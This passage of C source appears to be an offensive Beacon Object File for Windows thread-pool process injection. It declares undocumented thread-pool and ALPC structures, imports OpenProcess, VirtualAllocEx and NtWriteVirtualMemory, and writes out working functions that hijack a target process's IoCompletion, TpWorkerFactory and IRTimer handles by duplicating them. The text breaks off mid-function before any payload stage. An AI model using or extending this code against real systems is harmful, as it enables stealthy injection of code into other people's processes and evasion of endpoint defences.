WINAPI   KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI LPVOID       WINAPI   KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI PTP_IO       WINAPI   KERNEL32$CreateThreadpoolIo( HANDLE fl, PTP_WIN32_IO_CALLBACK pfnio, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);\nWINBASEAPI PTP_TIMER    WINAPI   KERNEL32$CreateThreadpoolTimer( PTP_TIMER_CALLBACK pfnti, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);\nWINBASEAPI PTP_WAIT     WINAPI   KERNEL32$CreateThreadpoolWait(PTP_WAIT_CALLBACK pfnwa, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);\nWINBASEAPI PTP_WORK     WINAPI   KERNEL32$CreateThreadpoolWork(PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);\n\nWINBASEAPI int          WINAPI   MSVCRT$rand(void);\nWINBASEAPI time_t       WINAPI   MSVCRT$time(time_t *seconds);\nWINBASEAPI void         WINAPI   MSVCRT$srand(unsigned int seed);\nWINBASEAPI void*        WINAPI   MSVCRT$calloc(size_t number, size_t size);\nWINBASEAPI void*        WINAPI   MSVCRT$malloc(size_t size);\n\nWINBASEAPI wchar_t     *__cdecl  MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs);\nWINBASEAPI errno_t      __cdecl  MSVCRT$wcscat_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src);\nWINBASEAPI errno_t      __cdecl  MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src);\nWINBASEAPI void        *__cdecl  MSVCRT$realloc(void *_Memory, size_t _NewSize);\nWINBASEAPI size_t       __cdecl  MSVCRT$wcslen(const wchar_t *_Str);\n\n// Structs\n\ntypedef struct _TP_TASK_CALLBACKS\n{\n    void* ExecuteCallback;\n    void* Unposted;\n} TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS;\n\ntypedef struct _TP_TASK\n{\n    struct _TP_TASK_CALLBACKS* Callbacks;\n    UINT32 NumaNode;\n    UINT8 IdealProcessor;\n    char Padding_242[3];\n    struct _LIST_ENTRY ListEntry;\n} TP_TASK, * PTP_TASK;\n\ntypedef struct _TPP_REFCOUNT\n{\n    volatile INT32 Refcount;\n} TPP_REFCOUNT, * PTPP_REFCOUNT;\n\ntypedef struct _TPP_CALLER\n{\n    void* ReturnAddress;\n} TPP_CALLER, * PTPP_CALLER;\n\ntypedef struct _TPP_PH\n{\n    struct _TPP_PH_LINKS* Root;\n} TPP_PH, * PTPP_PH;\n\ntypedef struct _TP_DIRECT\n{\n    struct _TP_TASK Task;\n    UINT64 Lock;\n    struct _LIST_ENTRY IoCompletionInformationList;\n    void* Callback;\n    UINT32 NumaNode;\n    UINT8 IdealProcessor;\n    char __PADDING__[3];\n} TP_DIRECT, * PTP_DIRECT;\n\ntypedef struct _TPP_TIMER_SUBQUEUE\n{\n    INT64 Expiration;\n    struct _TPP_PH WindowStart;\n    struct _TPP_PH WindowEnd;\n    void* Timer;\n    void* TimerPkt;\n    struct _TP_DIRECT Direct;\n    UINT32 ExpirationWindow;\n    INT32 __PADDING__[1];\n} TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE;\n\ntypedef struct _TPP_TIMER_QUEUE\n{\n    struct _RTL_SRWLOCK Lock;\n    struct _TPP_TIMER_SUBQUEUE AbsoluteQueue;\n    struct _TPP_TIMER_SUBQUEUE RelativeQueue;\n    INT32 AllocatedTimerCount;\n    INT32 __PADDING__[1];\n} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;\n\ntypedef struct _TPP_NUMA_NODE\n{\n    INT32 WorkerCount;\n} TPP_NUMA_NODE, * PTPP_NUMA_NODE;\n\ntypedef union _TPP_POOL_QUEUE_STATE\n{\n    union\n    {\n        INT64 Exchange;\n        struct\n        {\n            INT32 RunningThreadGoal : 16;\n            UINT32 PendingReleaseCount : 16;\n            UINT32 QueueLength;\n        };\n    };\n} TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE;\n\ntypedef struct _TPP_QUEUE\n{\n    struct _LIST_ENTRY Queue;\n    struct _RTL_SRWLOCK Lock;\n} TPP_QUEUE, * PTPP_QUEUE;\n\ntypedef struct _FULL_TP_POOL\n{\n    struct _TPP_REFCOUNT Refcount;\n    long Padding_239;\n    union _TPP_POOL_QUEUE_STATE QueueState;\n    struct _TPP_QUEUE* TaskQueue[3];\n    struct _TPP_NUMA_NODE* NumaNode;\n    struct _GROUP_AFFINITY* ProximityInfo;\n    void* WorkerFactory;\n    void* CompletionPort;\n    struct _RTL_SRWLOCK Lock;\n    struct _LIST_ENTRY PoolObjectList;\n    struct _LIST_ENTRY WorkerList;\n    struct _TPP_TIMER_QUEUE TimerQueue;\n    struct _RTL_SRWLOCK ShutdownLock;\n    UINT8 ShutdownInitiated;\n    UINT8 Released;\n    UINT16 PoolFlags;\n    long Padding_240;\n    struct _LIST_ENTRY PoolLinks;\n    struct _TPP_CALLER AllocCaller;\n    struct _TPP_CALLER ReleaseCaller;\n    volatile INT32 AvailableWorkerCount;\n    volatile INT32 LongRunningWorkerCount;\n    UINT32 LastProcCount;\n    volatile INT32 NodeStatus;\n    volatile INT32 BindingCount;\n    UINT32 CallbackChecksDisabled : 1;\n    UINT32 TrimTarget : 11;\n    UINT32 TrimmedThrdCount : 11;\n    UINT32 SelectedCpuSetCount;\n    long Padding_241;\n    struct _RTL_CONDITION_VARIABLE TrimComplete;\n    struct _LIST_ENTRY TrimmedWorkerList;\n} FULL_TP_POOL, * PFULL_TP_POOL;\n\ntypedef struct _ALPC_WORK_ON_BEHALF_TICKET\n{\n    UINT32 ThreadId;\n    UINT32 ThreadCreationTimeLow;\n} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET;\n\ntypedef union _TPP_WORK_STATE\n{\n    union\n    {\n        INT32 Exchange;\n        UINT32 Insertable : 1;\n        UINT32 PendingCallbackCount : 31;\n    };\n} TPP_WORK_STATE, * PTPP_WORK_STATE;\n\ntypedef struct _TPP_ITE_WAITER\n{\n    struct _TPP_ITE_WAITER* Next;\n    void* ThreadId;\n} TPP_ITE_WAITER, * PTPP_ITE_WAITER;\n\ntypedef struct _TPP_PH_LINKS\n{\n    struct _LIST_ENTRY Siblings;\n    struct _LIST_ENTRY Children;\n    INT64 Key;\n} TPP_PH_LINKS, * PTPP_PH_LINKS;\n\ntypedef struct _TPP_ITE\n{\n    struct _TPP_ITE_WAITER* First;\n} TPP_ITE, * PTPP_ITE;\n\ntypedef union _TPP_FLAGS_COUNT\n{\n    union\n    {\n        UINT64 Count : 60;\n        UINT64 Flags : 4;\n        INT64 Data;\n    };\n} TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT;\n\ntypedef struct _TPP_BARRIER\n{\n    volatile union _TPP_FLAGS_COUNT Ptr;\n    struct _RTL_SRWLOCK WaitLock;\n    struct _TPP_ITE WaitList;\n} TPP_BARRIER, * PTPP_BARRIER;\n\ntypedef struct _TP_CLEANUP_GROUP\n{\n    struct _TPP_REFCOUNT Refcount;\n    INT32 Released;\n    struct _RTL_SRWLOCK MemberLock;\n    struct _LIST_ENTRY MemberList;\n    struct _TPP_BARRIER Barrier;\n    struct _RTL_SRWLOCK CleanupLock;\n    struct _LIST_ENTRY CleanupList;\n} TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP;\n\n\ntypedef struct _TPP_CLEANUP_GROUP_MEMBER\n{\n    struct _TPP_REFCOUNT Refcount;\n    long Padding_233;\n    const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs;\n    struct _TP_CLEANUP_GROUP* CleanupGroup;\n    void* CleanupGroupCancelCallback;\n    void* FinalizationCallback;\n    struct _LIST_ENTRY CleanupGroupMemberLinks;\n    struct _TPP_BARRIER CallbackBarrier;\n    union\n    {\n        void* Callback;\n        void* WorkCallback;\n        void* SimpleCallback;\n        void* TimerCallback;\n        void* WaitCallback;\n        void* IoCallback;\n        void* AlpcCallback;\n        void* AlpcCallbackEx;\n        void* JobCallback;\n    };\n    void* Context;\n    struct _ACTIVATION_CONTEXT* ActivationContext;\n    void* SubProcessTag;\n    struct _GUID ActivityId;\n    struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;\n    void* RaceDll;\n    FULL_TP_POOL* Pool;\n    struct _LIST_ENTRY PoolObjectLinks;\n    union\n    {\n        volatile INT32 Flags;\n        UINT32 LongFunction : 1;\n        UINT32 Persistent : 1;\n        UINT32 UnusedPublic : 14;\n        UINT32 Released : 1;\n        UINT32 CleanupGroupReleased : 1;\n        UINT32 InCleanupGroupCleanupList : 1;\n        UINT32 UnusedPrivate : 13;\n    };\n    long Padding_234;\n    struct _TPP_CALLER AllocCaller;\n    struct _TPP_CALLER ReleaseCaller;\n    enum _TP_CALLBACK_PRIORITY CallbackPriority;\n    INT32 __PADDING__[1];\n} TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER;\n\ntypedef struct _FULL_TP_WORK\n{\n    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;\n    struct _TP_TASK Task;\n    volatile union _TPP_WORK_STATE WorkState;\n    INT32 __PADDING__[1];\n} FULL_TP_WORK, * PFULL_TP_WORK;\n\ntypedef struct _FULL_TP_TIMER\n{\n    struct _FULL_TP_WORK Work;\n    struct _RTL_SRWLOCK Lock;\n    union\n    {\n        struct _TPP_PH_LINKS WindowEndLinks;\n        struct _LIST_ENTRY ExpirationLinks;\n    };\n    struct _TPP_PH_LINKS WindowStartLinks;\n    INT64 DueTime;\n    struct _TPP_ITE Ite;\n    UINT32 Window;\n    UINT32 Period;\n    UINT8 Inserted;\n    UINT8 WaitTimer;\n    union\n    {\n        UINT8 TimerStatus;\n        UINT8 InQueue : 1;\n        UINT8 Absolute : 1;\n        UINT8 Cancelled : 1;\n    };\n    UINT8 BlockInsert;\n    INT32 __PADDING__[1];\n} FULL_TP_TIMER, * PFULL_TP_TIMER;\n\ntypedef struct _FULL_TP_WAIT\n{\n    struct _FULL_TP_TIMER Timer;\n    void* Handle;\n    void* WaitPkt;\n    void* NextWaitHandle;\n    union _LARGE_INTEGER NextWaitTimeout;\n    struct _TP_DIRECT Direct;\n    union\n    {\n        union\n        {\n            UINT8 AllFlags;\n            UINT8 NextWaitActive : 1;\n            UINT8 NextTimeoutActive : 1;\n            UINT8 CallbackCounted : 1;\n            UINT8 Spare : 5;\n        };\n    } WaitFlags;\n    char __PADDING__[7];\n} FULL_TP_WAIT, * PFULL_TP_WAIT;\n\ntypedef struct _FULL_TP_IO\n{\n    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;\n    struct _TP_DIRECT Direct;\n    void* File;\n    volatile INT32 PendingIrpCount;\n    INT32 __PADDING__[1];\n} FULL_TP_IO, * PFULL_TP_IO;\n\ntypedef struct _FULL_TP_ALPC\n{\n    struct _TP_DIRECT Direct;\n    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;\n    void* AlpcPort;\n    INT32 DeferredSendCount;\n    INT32 LastConcurrencyCount;\n    union\n    {\n        UINT32 Flags;\n        UINT32 ExTypeCallback : 1;\n        UINT32 CompletionListRegistered : 1;\n        UINT32 Reserved : 30;\n    };\n    INT32 __PADDING__[1];\n} FULL_TP_ALPC, * PFULL_TP_ALPC;\n\ntypedef struct _T2_SET_PARAMETERS_V0\n{\n    ULONG Version;\n    ULONG Reserved;\n    LONGLONG NoWakeTolerance;\n} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS;\n\n\ntypedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO\n{\n    HANDLE HandleValue;\n    ULONG_PTR HandleCount;\n    ULONG_PTR PointerCount;\n    ACCESS_MASK GrantedAccess;\n    ULONG ObjectTypeIndex;\n    ULONG HandleAttributes;\n    ULONG Reserved;\n} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION\n{\n    ULONG_PTR NumberOfHandles;\n    ULONG_PTR Reserved;\n    PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];\n} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;\n\ntypedef enum\n{\n    ProcessHandleInformation = 51\n} PROCESS_INFOCLASS;\n\n\ntypedef struct _WORKER_FACTORY_BASIC_INFORMATION\n{\n    LARGE_INTEGER Timeout;\n    LARGE_INTEGER RetryTimeout;\n    LARGE_INTEGER IdleTimeout;\n    BOOLEAN Paused;\n    BOOLEAN TimerSet;\n    BOOLEAN QueuedToExWorker;\n    BOOLEAN MayCreate;\n    BOOLEAN CreateInProgress;\n    BOOLEAN InsertedIntoQueue;\n    BOOLEAN Shutdown;\n    ULONG BindingCount;\n    ULONG ThreadMinimum;\n    ULONG ThreadMaximum;\n    ULONG PendingWorkerCount;\n    ULONG WaitingWorkerCount;\n    ULONG TotalWorkerCount;\n    ULONG ReleaseCount;\n    LONGLONG InfiniteWaitGoal;\n    PVOID StartRoutine;\n    PVOID StartParameter;\n    HANDLE ProcessId;\n    SIZE_T StackReserve;\n    SIZE_T StackCommit;\n    NTSTATUS LastThreadCreationStatus;\n} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;\n\n\ntypedef NTSTATUS(NTAPI* _NtSetTimer2)(\n    HANDLE TimerHandle,\n    PLARGE_INTEGER DueTime,\n    PLARGE_INTEGER Period,\n    PT2_SET_PARAMETERS Parameters\n    );\n\ntypedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\n\ntypedef NTSTATUS(NTAPI* _NtQueryObject)(\n    HANDLE Handle,\n    OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    PVOID ObjectInformation,\n    ULONG ObjectInformationLength,\n    PULONG ReturnLength\n    );\n\ntypedef enum _QUERY_WORKERFACTORYINFOCLASS\n{\n    WorkerFactoryBasicInformation = 7,\n} QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS;\n\ntypedef NTSTATUS(NTAPI* _NtQueryInformationWorkerFactory)(\n    HANDLE WorkerFactoryHandle,\n    QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n    PVOID WorkerFactoryInformation,\n    ULONG WorkerFactoryInformationLength,\n    PULONG ReturnLength\n    );\n\ntypedef NTSTATUS(NTAPI* _ZwSetIoCompletion)(\n    HANDLE IoCompletionHandle,\n    PVOID KeyContext,\n    PVOID ApcContext,\n    NTSTATUS IoStatus,\n    ULONG_PTR IoStatusInformation\n    );\n\ntypedef struct _FULL_TP_JOB\n{\n    struct _TP_DIRECT Direct;\n    struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;\n    void* JobHandle;\n    union\n    {\n        volatile int64_t CompletionState;\n        int64_t Rundown : 1;\n        int64_t CompletionCount : 63;\n    };\n    struct _RTL_SRWLOCK RundownLock;\n} FULL_TP_JOB, * PFULL_TP_JOB;\n\ntypedef NTSTATUS(NTAPI* _TpAllocJobNotification)(\n    PFULL_TP_JOB* JobReturn,\n    HANDLE HJob,\n    PVOID Callback,\n    PVOID Context,\n    PTP_CALLBACK_ENVIRON CallbackEnviron\n    );\n\ntypedef NTSTATUS(NTAPI* _NtWriteVirtualMemory) (\n    HANDLE ProcessHandle,\n    PVOID BaseAddress,\n    PVOID Buffer,\n    SIZE_T BytesToWrite,\n    PSIZE_T BytesWritten\n    );\n\ntypedef struct _ALPC_PORT_ATTRIBUTES\n{\n    ULONG Flags;\n    SECURITY_QUALITY_OF_SERVICE SecurityQos;\n    SIZE_T MaxMessageLength;\n    SIZE_T MemoryBandwidth;\n    SIZE_T MaxPoolUsage;\n    SIZE_T MaxSectionSize;\n    SIZE_T MaxViewSize;\n    SIZE_T MaxTotalSectionSize;\n    ULONG DupObjectTypes;\n#ifdef _WIN64\n    ULONG Reserved;\n#endif\n} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;\n\n\ntypedef NTSTATUS(NTAPI* _NtAlpcCreatePort)(\n    PHANDLE PortHandle,\n    POBJECT_ATTRIBUTES ObjectAttributes,\n    PALPC_PORT_ATTRIBUTES PortAttributes\n    );\n\ntypedef struct _TP_ALPC TP_ALPC, * PTP_ALPC;\n\ntypedef VOID(NTAPI* PTP_ALPC_CALLBACK)(\n    PTP_CALLBACK_INSTANCE Instance,\n    PVOID Context,\n    PTP_ALPC Alpc\n    );\n\ntypedef NTSTATUS(NTAPI* _TpAllocAlpcCompletion)(\n    PFULL_TP_ALPC* AlpcReturn,\n    HANDLE AlpcPort,\n    PTP_ALPC_CALLBACK Callback,\n    PVOID Context,\n    PTP_CALLBACK_ENVIRON CallbackEnviron\n    );\n\ntypedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT\n{\n    PVOID CompletionKey;\n    HANDLE CompletionPort;\n} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT;\n\n// private\ntypedef enum _ALPC_PORT_INFORMATION_CLASS\n{\n    AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION\n    AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES\n    AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT\n    AlpcConnectedSIDInformation, // q: in SID\n    AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION\n    AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION\n    AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION\n    AlpcUnregisterCompletionListInformation, // s: VOID\n    AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG\n    AlpcRegisterCallbackInformation, // s: ALPC_REGISTER_CALLBACK // kernel-mode only\n    AlpcCompletionListRundownInformation, // s: VOID // 10\n    AlpcWaitForPortReferences,\n    AlpcServerSessionInformation // q: ALPC_SERVER_SESSION_INFORMATION // since 19H2\n} ALPC_PORT_INFORMATION_CLASS;\n\n\ntypedef NTSTATUS(NTAPI* _NtAlpcSetInformation)(\n    HANDLE PortHandle,\n    ALPC_PORT_INFORMATION_CLASS PortInformationClass,\n    PVOID PortInformation,\n    ULONG Length\n    );\n\ntypedef struct _PORT_MESSAGE\n{\n    union\n    {\n        struct\n        {\n            USHORT DataLength;\n            USHORT TotalLength;\n        } s1;\n        ULONG Length;\n    } u1;\n    union\n    {\n        struct\n        {\n            USHORT Type;\n            USHORT DataInfoOffset;\n        } s2;\n        ULONG ZeroInit;\n    } u2;\n    union\n    {\n        CLIENT_ID ClientId;\n        double DoNotUseThisField;\n    };\n    ULONG MessageId;\n    union\n    {\n        SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages\n        ULONG CallbackId; // only valid for LPC_REQUEST messages\n    };\n} PORT_MESSAGE, * PPORT_MESSAGE;\ntypedef struct _ALPC_MESSAGE {\n    PORT_MESSAGE PortHeader;\n    BYTE PortMessage[1000];\n} ALPC_MESSAGE, * PALPC_MESSAGE;\n\ntypedef struct _ALPC_MESSAGE_ATTRIBUTES\n{\n    ULONG AllocatedAttributes;\n    ULONG ValidAttributes;\n} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;\n\ntypedef NTSTATUS(NTAPI* _NtAlpcConnectPort)(\n    PHANDLE PortHandle,\n    PUNICODE_STRING PortName,\n    POBJECT_ATTRIBUTES ObjectAttributes,\n    PALPC_PORT_ATTRIBUTES PortAttributes,\n    ULONG Flags,\n    PSID RequiredServerSid,\n    PPORT_MESSAGE ConnectionMessage,\n    PSIZE_T BufferLength,\n    PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,\n    PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,\n    PLARGE_INTEGER Timeout\n    );\n\ntypedef struct _FILE_COMPLETION_INFORMATION\n{\n    HANDLE Port;\n    PVOID Key;\n} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION;\n\ntypedef enum _EXTENDED_FILE_INFORMATION_CLASS {\n    r_FileDirectoryInformation = 1,\n    r_FileFullDirectoryInformation,\n    r_FileBothDirectoryInformation,\n    r_FileBasicInformation,\n    r_FileStandardInformation,\n    r_FileInternalInformation,\n    r_FileEaInformation,\n    r_FileAccessInformation,\n    r_FileNameInformation,\n    r_FileRenameInformation,\n    r_FileLinkInformation,\n    r_FileNamesInformation,\n    r_FileDispositionInformation,\n    r_FilePositionInformation,\n    r_FileFullEaInformation,\n    r_FileModeInformation,\n    r_FileAlignmentInformation,\n    r_FileAllInformation,\n    r_FileAllocationInformation,\n    r_FileEndOfFileInformation,\n    r_FileAlternateNameInformation,\n    r_FileStreamInformation,\n    r_FilePipeInformation,\n    r_FilePipeLocalInformation,\n    r_FilePipeRemoteInformation,\n    r_FileMailslotQueryInformation,\n    r_FileMailslotSetInformation,\n    r_FileCompressionInformation,\n    r_FileObjectIdInformation,\n    r_FileCompletionInformation,\n    r_FileMoveClusterInformation,\n    r_FileQuotaInformation,\n    r_FileReparsePointInformation,\n    r_FileNetworkOpenInformation,\n    r_FileAttributeTagInformation,\n    r_FileTrackingInformation,\n    r_FileIdBothDirectoryInformation,\n    r_FileIdFullDirectoryInformation,\n    r_FileValidDataLengthInformation,\n    r_FileShortNameInformation,\n    r_FileIoCompletionNotificationInformation,\n    r_FileIoStatusBlockRangeInformation,\n    r_FileIoPriorityHintInformation,\n    r_FileSfioReserveInformation,\n    r_FileSfioVolumeInformation,\n    r_FileHardLinkInformation,\n    r_FileProcessIdsUsingFileInformation,\n    r_FileNormalizedNameInformation,\n    r_FileNetworkPhysicalNameInformation,\n    r_FileIdGlobalTxDirectoryInformation,\n    r_FileIsRemoteDeviceInformation,\n    r_FileUnusedInformation,\n    r_FileNumaNodeInformation,\n    r_FileStandardLinkInformation,\n    r_FileRemoteProtocolInformation,\n    r_FileRenameInformationBypassAccessCheck,\n    r_FileLinkInformationBypassAccessCheck,\n    r_FileVolumeNameInformation,\n    r_FileIdInformation,\n    r_FileIdExtdDirectoryInformation,\n    r_FileReplaceCompletionInformation,\n    r_FileHardLinkFullIdInformation,\n    r_FileIdExtdBothDirectoryInformation,\n    r_FileDispositionInformationEx,\n    r_FileRenameInformationEx,\n    r_FileRenameInformationExBypassAccessCheck,\n    r_FileDesiredStorageClassInformation,\n    r_FileStatInformation,\n    r_FileMemoryPartitionInformation,\n    r_FileStatLxInformation,\n    r_FileCaseSensitiveInformation,\n    r_FileLinkInformationEx,\n    r_FileLinkInformationExBypassAccessCheck,\n    r_FileStorageReserveIdInformation,\n    r_FileCaseSensitiveInformationForceAccessCheck,\n    r_FileKnownFolderInformation,\n    r_FileStatBasicInformation,\n    r_FileId64ExtdDirectoryInformation,\n    r_FileId64ExtdBothDirectoryInformation,\n    r_FileIdAllExtdDirectoryInformation,\n    r_FileIdAllExtdBothDirectoryInformation,\n    r_FileMaximumInformation\n } EXTENDED_FILE_INFORMATION_CLASS, *PEXTENDED_FILE_INFORMATION_CLASS;\n\ntypedef NTSTATUS(NTAPI* _NtSetInformationFile)(\n    HANDLE FileHandle,\n    PIO_STATUS_BLOCK IoStatusBlock,\n    PVOID FileInformation,\n    ULONG Length,\n    FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nBYTE* NtQueryObject_(HANDLE x, OBJECT_INFORMATION_CLASS y) {\n    _NtQueryObject NtQueryObject = (_NtQueryObject)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtQueryObject\"));\n    ULONG InformationLength = 0;\n    NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;\n    BYTE* Information = NULL;\n\n    do {\n        Information = (BYTE*)MSVCRT$realloc(Information, InformationLength);\n        Ntstatus = NtQueryObject(x, y, Information, InformationLength, &InformationLength);\n    } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);\n\n    return Information;\n}\n\ntypedef enum _SET_WORKERFACTORYINFOCLASS\n{\n    WorkerFactoryTimeout = 0,\n    WorkerFactoryRetryTimeout = 1,\n    WorkerFactoryIdleTimeout = 2,\n    WorkerFactoryBindingCount = 3,\n    WorkerFactoryThreadMinimum = 4,\n    WorkerFactoryThreadMaximum = 5,\n    WorkerFactoryPaused = 6,\n    WorkerFactoryAdjustThreadGoal = 8,\n    WorkerFactoryCallbackType = 9,\n    WorkerFactoryStackInformation = 10,\n    WorkerFactoryThreadBasePriority = 11,\n    WorkerFactoryTimeoutWaiters = 12,\n    WorkerFactoryFlags = 13,\n    WorkerFactoryThreadSoftMaximum = 14,\n    WorkerFactoryMaxInfoClass = 15 /* Not implemented */\n} SET_WORKERFACTORYINFOCLASS, * PSET_WORKERFACTORYINFOCLASS;\n\ntypedef NTSTATUS(NTAPI* _NtSetInformationWorkerFactory)(\n    HANDLE hTpWorkerFactory,\n    SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n    PVOID WorkerFactoryInformation,\n    ULONG WorkerFactoryInformationLength\n    );\n\ntypedef NTSTATUS(NTAPI* _ZwAssociateWaitCompletionPacket)(\n    HANDLE WaitCopmletionPacketHandle,\n    HANDLE IoCompletionHandle,\n    HANDLE TargetObjectHandle,\n    PVOID KeyContext,\n    PVOID ApcContext,\n    NTSTATUS IoStatus,\n    ULONG_PTR IoStatusInformation,\n    PBOOLEAN AlreadySignaled\n    );\n\n// ----------------------------------------------------------------------------------------------------\n\n// Functions\n\nHANDLE hIoCompletion = NULL;\nHANDLE hTpWorkerFactory = NULL;\nHANDLE hIRTimer = NULL;\n\nHANDLE HijackProcessHandle(PWSTR wsObjectType, HANDLE p_hTarget, DWORD dwDesiredAccess) {\n    _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtQueryInformationProcess\"));\n\n    BYTE* Information = NULL;\n    ULONG InformationLength = 0;\n    NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;\n\n    do {\n        Information = (BYTE*)MSVCRT$realloc(Information, InformationLength);\n        Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength);\n    } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);\n\n\n    PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information);\n\n    HANDLE p_hDuplicatedObject;\n    ULONG InformationLength_ = 0;\n\n    for (int i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) {\n        KERNEL32$DuplicateHandle(\n            p_hTarget,\n            pProcessHandleInformation->Handles[i].HandleValue,\n            KERNEL32$GetCurrentProcess(),\n            &p_hDuplicatedObject,\n            dwDesiredAccess,\n            FALSE,\n            (DWORD_PTR)NULL);\n\n        BYTE* pObjectInformation;\n        pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation);\n        PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation);\n\n        if (MSVCRT$wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) != 0) {\n            continue;\n        }\n\n        return p_hDuplicatedObject;\n    }\n}\n\nHANDLE HijackTargetThreadPoolHandle(PWSTR wsObjectType, HANDLE processHandle, DWORD dwDesiredAccess) {\n    return HijackProcessHandle(wsObjectType, processHandle, dwDesiredAccess);\n}\n\nHANDLE GetTargetThreadPoolHandle(PWSTR wsObjectType, HANDLE processHandle, DWORD dwDesiredAccess) {\n    HANDLE hTargetThreadPoolHandle = HijackTargetThreadPoolHandle(wsObjectType, processHandle, dwDesiredAccess);\n    return hTargetThreadPoolHandle;\n}\n\nvoid HijackIoCompletionHandle(HANDLE processHandle, DWORD dwDesiredAccess) {\n    hIoCompletion = GetTargetThreadPoolHandle((PWSTR)L\"IoCompletion\\0\", processHandle, dwDesiredAccess);\n}\n\nvoid HijackTpWorkerFactoryHandle(HANDLE processHandle, DWORD dwDesiredAccess) {\n    hTpWorkerFactory = GetTargetThreadPoolHandle((PWSTR)L\"TpWorkerFactory\\0\", processHandle, dwDesiredAccess);\n}\n\nvoid HijackIRTimerHandle(HANDLE processHandle, DWORD dwDesiredAccess) {\n    hIRTimer = GetTargetThreadPoolHandle((PWSTR)L\"IRTimer\\0\", processHandle, dwDesiredAccess);\n}\n\nWORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation() {\n    WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };\n    _NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtQueryInformationWorkerFactory\"));\n    NtQueryInformationWorkerFactory(hTpWorkerFactory, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);\n    return WorkerFactoryInformation;\n}\n\nvoid RtlInitUnicodeString(PUNICODE_STRING DestinationString, 